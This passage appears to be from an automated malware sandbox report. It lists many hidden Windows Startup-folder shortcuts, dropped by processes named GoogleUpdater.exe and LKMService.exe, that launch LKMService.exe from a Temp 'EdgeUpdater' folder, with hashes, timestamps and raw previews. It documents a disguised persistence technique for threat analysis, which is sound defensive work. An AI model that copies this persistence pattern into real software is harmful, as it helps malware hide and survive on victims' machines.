L..................F...."......P....K3.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_7800bd24845d49299ad4b57254cf405d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:16 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.938539336146703
Encrypted:	false
SSDEEP:	24:8p7jRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8p/Rjr1R8AZjvgTyF
MD5:	E3B05110A2080ECE8F3024A2E572984B
SHA1:	C4CF67E2679EEC4E3ED43A60867CF07248613065
SHA-256:	F64F78B2B70506E2B211AE08C2EE7B5E974CB40B1D395E9BA1C80C8C6124FAF6
SHA-512:	52C401EE5076F7532173C0AEF6362C4140B85F3798BEEA2127A3B89CDE65DDB620030937623A02992E8228996F0D3DFE4F24193D5006450087D694D71B14D338
Malicious:	false
Preview:	L..................F...."......P...-A.)P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_7a8f788e11724f0ca5a9d1fc5ab7c538.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:14 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9403443703133
Encrypted:	false
SSDEEP:	24:8p4RjeYl1RogKrA5+W8Ajfv/42egvqyFm:8p4Rjr1R8AZjvgTyF
MD5:	84469FDFB5F709B731EC22B38F807CDC
SHA1:	C5CEECFA3EB72BA4A42F461DA72E6DAFBBD07BD7
SHA-256:	4502EFA1529BA8D8DA2FE3AE56F18DF898389649FE03D9451CE8D9C5B03C2627
SHA-512:	D8583767AB3EC5AD30FBE18EB90294B873C831D080E829C07D14D60863F23CE26C5D4F3868E764F66AC75B31CD3E283445EFD3F605921A91B4F4AC56C866114A
Malicious:	false
Preview:	L..................F...."......P....'.'P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_7af78047100249ada2a191b93972e1e4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:30 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.940297722610781
Encrypted:	false
SSDEEP:	24:8p1ZRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8p1ZRjr1R8AZjvgTyF
MD5:	F11CCE3E4FEEFC5787B3698C15A7E54E
SHA1:	002DB48520F961E2AFA3DE38C56EA72F2C93B4CF
SHA-256:	8A142F2D7E16B5FD5E0A1B766FEB190BAF8B0C23B65B1351CC62B31A82234A90
SHA-512:	34004FD9EB32BB76D0F9D5B77DF9348DEAA287ED6E706B353DD7DE13A61EC882A309F2E5F9B48D4566AD87E7429F5CB70E8227C0889139E85F08DB4002AE5313
Malicious:	false
Preview:	L..................F...."......P....~)1P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_7b8222f05a2243e4bcea1ad9fe8366cb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:16 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.940318496711016
Encrypted:	false
SSDEEP:	24:8pnRPeYl1RogKrA5+W8Ajfv/42egvqyFm:8pnRPr1R8AZjvgTyF
MD5:	FA34A1C14EA32C8A0034CAD7EBBE78EC
SHA1:	CE8E08031224A82291DF4DBFA22C7A95EF01E65D
SHA-256:	1EA26A39C4250D87539DDE8F7A1C54636E7A8BD8FE19B0CDCC1C7A5DD8887330
SHA-512:	639FC801F9A0230362567AC64953A73CBAC2648C9C57B8D43149D02A2BA6CC1477B1AE3008D2BBCF00B61F66E81519000404FE19AAB6306F89727CF04CB5DC36
Malicious:	false
Preview:	L..................F...."......P....7.LP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....KP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_7edecea1f3264cb48b56c5beb7775ec4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:58 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9421164086847
Encrypted:	false
SSDEEP:	24:8pYRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pYRjr1R8AZjvgTyF
MD5:	960D85A565562F0E8AB882991BAA9FE6
SHA1:	2D795C25C52E0364A7B7665744CD855C48C8BF60
SHA-256:	3F82125E4DAE072EC3BF5810E536E9397E0FF6465FE24B81F991DE9F50675975
SHA-512:	EBCBF7819C35395776FFB8207D7112E36E46ECF646393805EE7860E1A672D18FDF4BE8F7C249E237F4318DF0ED4D240362A63EDF9793394B8E0A35EB2F0C6ACF
Malicious:	false
Preview:	L..................F...."......P...j.n.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_7f260e4f58884f45b068a139c48f5940.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:53 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.946374114640495
Encrypted:	false
SSDEEP:	24:8piRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8piRBr1R8AZjvgTyF
MD5:	0F8C738020EB9EF017D3EB601A521B50
SHA1:	16A576142BBD932E7494BA798A2A003424145CBE
SHA-256:	0E65F3727CC5ADA1C3452878F95D80CF9D4991DD51665BA4049E810E7A26D5CF
SHA-512:	9F3936EAA5CD0EF2265AD3F6FA0079183D1CE049E08F290B5FDBE46FFA97CF1C2AC264AD8A5271C885E575E2F7ECE94E9DE252F15EE82B20D84874FB76C6D234
Malicious:	false
Preview:	L..................F...."......P.....^.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_81fca9e9963945bc9a7493854f2e8af2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:26 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9376486508188115
Encrypted:	false
SSDEEP:	24:8pujRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pgRjr1R8AZjvgTyF
MD5:	8384E354D6506F786A4B0E4FA9C65A0C
SHA1:	AAD967F3A5E04304F2D5127F6E5ED1D807EC8BCD
SHA-256:	91E87076E854F047D6BCA7B861A66D6CE1D6A191288943AA69654F5FD537A2D7
SHA-512:	3B1E1829F11047058C2419C29248F23233D996AB64FD15F1DD2BEAFD142050BD46868E5E1011F14DD8DE61ED08556C2082F53DB52B1B3B0DAB39146ED7EE2027
Malicious:	false
Preview:	L..................F...."......P....a..P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_82ea9cf6c7074533a8c476ada3009643.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:05 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.932812579204556
Encrypted:	false
SSDEEP:	24:8pMRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pMRjr1R8AZjvgTyF
MD5:	2165D876C74384B6D6579E83B16D47B3
SHA1:	6086B8B3348ABBF6D73AA8D3C152552FB3682943
SHA-256:	D68B589BDB57786C06732F1EBB03E70897645FD6226D2D76E8FF1AF55A2FE90A
SHA-512:	A228FDC56591C26C66910A719950DA984FBBDDC3C8FE929FB93652DB27536C5558A03A6E4CD0503372816D26DCDA01BBCFA7415424378619734AEBB7303530C2
Malicious:	false
Preview:	L..................F...."......P....0&"P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_831b0a55c2c64cd583480350d1483906.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:53 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.942127316719321
Encrypted:	false
SSDEEP:	24:8p0RAeYl1RogKrA5+W8Ajfv/42egvqyFm:8p0RAr1R8AZjvgTyF
MD5:	E3EA4A99836817C7D3E30DA3BB03C127
SHA1:	87C9B166D7CA3A064BF930B0F962A9FE2B018992
SHA-256:	A6816004508D772EDEFCBA1A4FC8D83EC804564F095A1ABA2E7F883E02A151E4
SHA-512:	6BD1ECB6F336914A039C8F43931F346C02EDC4F10671B8F43604EB6C5A456C254EA21210FB27ACD44683CB332628326117337E3BF2DE405923BDF78E50441C10
Malicious:	false
Preview:	L..................F...."......P....skbP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......aP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_84ee45b1bccc4282b4866d9ebc85c5a7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:11 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.943328004535484
Encrypted:	false
SSDEEP:	24:8pNRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pNRBr1R8AZjvgTyF
MD5:	30A71067786BE2E41053DC61EA63A7F5
SHA1:	54815765ACC8450B221D955DE7902827B4B10A43
SHA-256:	B9F6C313371081DDF57FE5AEEE08D3938BD4DBB2BFDA13ADBB75E6769A621F57
SHA-512:	23ECB3CF41FCBC6AAFBB9F59236C21C3480977BE16A4C629970CDF98EC6052C0E26B39E15F0C74EBD24D394FB715344041F87877DA2CE9BD9A6868E746473724
Malicious:	false
Preview:	L..................F...."......P...8,.%P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_880d55a39b684695a9f1b905ca28ee65.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:41 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.938572331941899
Encrypted:	false
SSDEEP:	24:8poRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8poRjr1R8AZjvgTyF
MD5:	7A7D71BA9AA32834438F37FF74F47A4C
SHA1:	DA539CEAD8B4C3E53AD7F5972365D2A588D43140
SHA-256:	3C14BB95F7FC5BD93E94FD10396E7DC78FDE5669D2609C15523EDD3A9FB7FDE4
SHA-512:	853F8560FCAAECDB69F87C9CCF4A5D9A050D2C7D372269539F3BB960ADE1D81FFC9880B990ED1B203FAAD433D09BA4B5BF8F6D3505B8AF3F06601C06FBB842B3
Malicious:	false
Preview:	L..................F...."......P...G..7P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_89af2bd216d24a638611f396b3694166.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:40 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.938923548038545
Encrypted:	false
SSDEEP:	24:8pVORkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pVORkr1R8AZjvgTyF
MD5:	DB48B599852C66058DBAEDDBECE4CD84
SHA1:	362CDD8D1CE3A19FAB69624A483FD4116F6A5DE4
SHA-256:	4D97DE37238C5059195ABD37EE1D36D6845E75077B420A0F7EF931127B7D6233
SHA-512:	3A8DCAD662CFD4721CFA39172CA7C973CD74357F2A67F6931EC1F6F0FED376A3F235844F429330A97237CA0664C6CDCAEFE39F656E8681BA258C1EA4AA64D125
Malicious:	false
Preview:	L..................F...."......P.....A.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_8e54c670959a454a97ad13aa773c1f60.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:57 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9405677142006335
Encrypted:	false
SSDEEP:	24:8p/RAeYl1RogKrA5+W8Ajfv/42egvqyFm:8p/RAr1R8AZjvgTyF
MD5:	C26ECC0764777FE1C2DA0EDD89F8495F
SHA1:	DF50A6844A5861EE680A469501C80FD0AF3F5B01
SHA-256:	5B85A020B3474187FCD1B9EFD44050AF9A18B7776419DB33EB1F2DFC32F2E390
SHA-512:	55A4CA568144C2E051A9B0C53EFABBE5CF42BEB1D8536CD1D02AA2A5956D1E9C79FA346C925A53E343C6F2A771FF5567FF43B76E7AB12F0C0A8E26F457DE2EE9
Malicious:	false
